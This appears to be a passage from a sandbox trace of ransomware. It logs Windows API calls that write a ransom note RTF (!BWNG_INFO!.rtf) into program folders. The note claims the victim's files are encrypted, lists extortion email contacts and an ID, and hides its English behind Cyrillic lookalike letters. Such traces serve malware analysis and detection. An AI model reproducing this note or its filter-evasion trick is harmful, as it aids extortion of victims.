!\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1de8de8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nt\x15F=\x89\x7fSÜÐÓ\x08\x15h|¢IªÓ]a\x0fª¥Gë`߯°C2@", lpUsedDefaultChar=0x0) returned 14086 [0034.947] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0034.948] CloseHandle (hObject=0x1b0) returned 1 [0034.948] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\!bwng_info!.rtf")) returned 0xffffffff [0034.948] GetLastError () returned 0x2 [0034.948] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0034.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 